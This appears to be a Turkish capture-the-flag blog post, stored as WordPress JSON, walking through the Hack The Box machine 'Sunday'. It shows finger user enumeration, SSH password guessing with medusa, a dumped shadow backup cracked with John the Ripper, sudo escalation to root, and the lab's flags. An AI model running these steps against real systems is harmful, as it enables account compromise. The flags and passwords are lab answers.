{"id":1752,"date":"2022-01-16T15:57:31","date_gmt":"2022-01-16T15:57:31","guid":{"rendered":"http:\/\/berenkudaygorun.com\/blog\/?p=1752"},"modified":"2022-01-16T15:57:31","modified_gmt":"2022-01-16T15:57:31","slug":"sunday","status":"publish","type":"post","link":"https:\/\/berenkudaygorun.com\/blog\/blog\/2022\/01\/16\/sunday\/","title":{"rendered":"Sunday"},"content":{"rendered":"\n\n\n\n\n
Makine Ad\u0131<\/th>\nSeviye<\/th>\nOS<\/th>\nLogo<\/th>\n<\/tr>\n<\/thead>\n
Sunday<\/a> - HTB<\/td>\nMedium<\/td>\nLinux<\/td>\n\"\"<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

Walkthrough<\/h2>\n

A\u00e7\u0131k olan portlara bakt\u0131\u011f\u0131m\u0131zda finger servisinin a\u00e7\u0131k g\u00f6r\u00fcyoruz. nmap taramas\u0131n\u0131 full-scan olarak ba\u015flatt\u0131ktan sonra bir yandan da user enumeration yapmaya ba\u015flad\u0131m.<\/p>\n

PORT      STATE SERVICE                                                                                                                                                                                                                      \n79\/tcp    open  finger                                                                                                \n111\/tcp   open  rpcbind                                                                                               \n515\/tcp   open  printer                                                                                                                                                                                                                      \n6787\/tcp  open  smc-admin                                                                                                                                                                                                                    \n22022\/tcp open  unknown  <\/code><\/pre>\n
22022'de ssh \u00e7al\u0131\u015fmaktayd\u0131 ve senaryo apac\u0131k belli olmu\u015ftu. User tespit edece\u011fiz daha sonras\u0131nda ssh ile girece\u011fiz.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[~\/10.10.10.76\/exploit]\n\u2514\u2500# .\/finger-user-enum.pl -U  names.txt -t 10.10.10.76                                                                                                                                                                                 127 \u2a2f\nStarting finger-user-enum v1.0 ( http:\/\/pentestmonkey.net\/tools\/finger-user-enum )\n\n ----------------------------------------------------------\n|                   Scan Information                       |\n ----------------------------------------------------------\n\nWorker Processes ......... 5\nUsernames file ........... names.txt\nTarget count ............. 1\nUsername count ........... 10177\nTarget TCP port .......... 79\nQuery timeout ............ 5 secs\nRelay Server ............. Not used\n\n######## Scan started at Sun Jan 16 08:00:02 2022 #########\naccess@10.10.10.76: access No Access User                     < .  .  .  . >..nobody4  SunOS 4.x NFS Anonym               < .  .  .  . >..\nadmin@10.10.10.76: Login       Name               TTY         Idle    When    Where..adm      Admin                              < .  .  .  . >..dladm    Datalink Admin                     < .  .  .  . >..netadm   Network Admin                      < .  .  .  . >..netcfg   Network Configuratio               < .  .  .  . >..dhcpserv DHCP Configuration A               < .  .  .  . >..ikeuser  IKE Admin                          < .  .  .  . >..lp       Line Printer Admin                 < .  .  .  . >..\nanne marie@10.10.10.76: Login       Name               TTY         Idle    When    Where..anne                  ???..marie                 ???..\nbin@10.10.10.76: bin             ???                         < .  .  .  . >..\ndee dee@10.10.10.76: Login       Name               TTY         Idle    When    Where..dee                   ???..dee                   ???..\nike@10.10.10.76: ikeuser  IKE Admin                          < .  .  .  . >..\njo ann@10.10.10.76: Login       Name               TTY         Idle    When    Where..ann                   ???..jo                    ???..\nla verne@10.10.10.76: Login       Name               TTY         Idle    When    Where..la                    ???..verne                 ???..\nline@10.10.10.76: Login       Name               TTY         Idle    When    Where..lp       Line Printer Admin                 < .  .  .  . >..\nmessage@10.10.10.76: Login       Name               TTY         Idle    When    Where..smmsp    SendMail Message Sub               < .  .  .  . >..\nmiof mela@10.10.10.76: Login       Name               TTY         Idle    When    Where..mela                  ???..miof                  ???..\nroot@10.10.10.76: root     Super-User            console      <Dec 19 10:30>..\nsammy@10.10.10.76: sammy           ???            console      <Dec 19 08:35>..\nsunny@10.10.10.76: sunny           ???            console      <Dec 19 09:56>..\nsys@10.10.10.76: sys             ???                         < .  .  .  . >..\nzsa zsa@10.10.10.76: Login       Name               TTY         Idle    When    Where..zsa                   ???..zsa                   ???..\n######## Scan completed at Sun Jan 16 08:06:46 2022 #########\n16 results.\n\n10177 queries in 404 seconds (25.2 queries \/ sec)\n<\/code><\/pre>\n
SecList'ten bir username wordlisti ald\u0131m ve .\/finger-user-enum.pl<\/code> ile denemye b\u0131rakt\u0131m. sammy ve sunny olmak \u00fczere 2 kullan\u0131c\u0131 verdi. \u0130\u015fin heycan\u0131n\u0131n d\u00fc\u015ft\u00fc\u011f\u00fc nokta a\u00e7\u0131k\u00e7as\u0131 buras\u0131 \u00e7\u00fcnk\u00fc makinede ssh \u00e7ok ge\u00e7 cevap vermekte ve bruteforce'a b\u0131rak\u0131lacak gibi de\u011fil. Kendime not: "Ne zaman bna benzer bir durumla kar\u015f\u0131la\u015fsam parolalar \u00e7ok basit oluyor. Basit d\u00fc\u015f\u00fcn." Burada \u00e7\u00f6z\u00fcme bakmaya karar verdim ve parola sunday<\/code> \u00e7\u0131kt\u0131 \ud83d\ude42 Okay Boomer.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[~\/10.10.10.76]\n\u2514\u2500# medusa -n 22022 -u sunny -P wordlist -h 10.10.10.76 -M ssh -v 6                                                                                                                                                                    130 \u2a2f\nMedusa v2.2 [http:\/\/www.foofus.net] (C) JoMo-Kun \/ Foofus Networks <jmk@foofus.net>\n\nGENERAL: Parallel Hosts: 1 Parallel Logins: 1\nGENERAL: Total Hosts: 1 \nGENERAL: Total Users: 1\nGENERAL: Total Passwords: 3\nACCOUNT CHECK: [ssh] Host: 10.10.10.76 (1 of 1, 0 complete) User: sunny (1 of 1, 0 complete) Password: sunny (1 of 3 complete)\nACCOUNT CHECK: [ssh] Host: 10.10.10.76 (1 of 1, 0 complete) User: sunny (1 of 1, 0 complete) Password: sunday (2 of 3 complete)\nACCOUNT FOUND: [ssh] Host: 10.10.10.76 User: sunny Password: sunday [SUCCESS]\nGENERAL: Medusa has finished.<\/code><\/pre>\n
Hemen user flagi okudum ve daha sonra ara\u015ft\u0131rma yapmaya ba\u015fald\u0131\u011f\u0131mda backup dosyalaro buldum. Hashleri al\u0131p john'a verdim ve yeni bir kap\u0131 a\u00e7\u0131ld\u0131.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[~]\n\u2514\u2500# ssh sunny@10.10.10.76 -p 22022                                                                                                                                                                                                     255 \u2a2f\nPassword: \nLast login: Sun Jan 16 15:23:40 2022 from 10.10.14.10\nOracle Corporation      SunOS 5.11      11.4    Aug 2018\nsunny@sunday:~$ ls\nlocal.cshrc    local.login    local.profile\nsunny@sunday:~$ cd ..\nsunny@sunday:\/home$ ls\nsammy  sunny\nsunny@sunday:\/home$ cd sammy\/\nsunny@sunday:\/home\/sammy$ ls\nuser.txt\nsunny@sunday:\/home\/sammy$ cat user.txt \na3d9498027ca5187ba1793943ee8a598\nsunny@sunday:\/home\/sammy$ \n<\/code><\/pre>\n
sunny@sunday:\/home\/sammy$ cd \/\nsunny@sunday:\/$ ls\nbackup    boot      dev       etc       home      lib       mnt       nfs4      platform  root      sbin      tmp       var\nbin       cdrom     devices   export    kernel    media     net       opt       proc      rpool     system    usr       zvboot\nsunny@sunday:\/$ cd backup\/\nsunny@sunday:\/backup$ ls\nagent22.backup  shadow.backup\nsunny@sunday:\/backup$ cat shadow.backup \nmysql:NP:::::::\nopenldap:*LK*:::::::\nwebservd:*LK*:::::::\npostgres:NP:::::::\nsvctag:*LK*:6445::::::\nnobody:*LK*:6445::::::\nnoaccess:*LK*:6445::::::\nnobody4:*LK*:6445::::::\nsammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445::::::\nsunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636::::::\nsunny@sunday:\/backup$ \n<\/code><\/pre>\n
\u250c\u2500\u2500(root💀kali)-[~\/10.10.10.76]\n\u2514\u2500# john hash --wordlist=\/usr\/share\/wordlists\/rockyou.txt                                                                                                                                                                                1 \u2a2f\nUsing default input encoding: UTF-8\nLoaded 2 password hashes with 2 different salts (sha256crypt, crypt(3) $5$ [SHA256 128\/128 AVX 4x])\nRemaining 1 password hash\nCost 1 (iteration count) is 5000 for all loaded hashes\nWill run 4 OpenMP threads\nPress 'q' or Ctrl-C to abort, almost any other key for status\ncooldude!        (sammy)\n1g 0:00:02:04 DONE (2022-01-16 10:27) 0.008032g\/s 1636p\/s 1636c\/s 1636C\/s domonique1..chrystelle\nUse the "--show" option to display all of the cracked passwords reliably\nSession completed\n<\/code><\/pre>\n
Evet sonras\u0131 \u00e7ocuk oyunca\u011f\u0131 \u00e7\u0131kt\u0131.<\/p>\n
sunny@sunday:\/backup$ su sammy\nPassword: \nsammy@sunday:\/backup$ sudo -l\nUser sammy may run the following commands on sunday:\n    (ALL) ALL\n    (root) NOPASSWD: \/usr\/bin\/wget\nsammy@sunday:\/backup$ sudo su\nPassword: \nroot@sunday:\/backup# id\nuid=0(root) gid=0(root)\nroot@sunday:\/backup# cat \/root\/root.txt \nfb40fab61d99d37536daeec0d97af9b8\n<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"
Makine Ad\u0131 Seviye OS Logo Sunday – HTB Medium Linux Walkthrough A\u00e7\u0131k olan portlara bakt\u0131\u011f\u0131m\u0131zda finger servisinin a\u00e7\u0131k g\u00f6r\u00fcyoruz. nmap taramas\u0131n\u0131 full-scan olarak ba\u015flatt\u0131ktan sonra…<\/p>\n
Devam\u0131n\u0131 okuSunday<\/span><\/a><\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[498],"tags":[656],"class_list":["post-1752","post","type-post","status-publish","format-standard","hentry","category-walkthrough","tag-finger","entry"],"_links":{"self":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1752","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/comments?post=1752"}],"version-history":[{"count":1,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1752\/revisions"}],"predecessor-version":[{"id":1753,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1752\/revisions\/1753"}],"wp:attachment":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/media?parent=1752"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/categories?post=1752"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/tags?post=1752"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}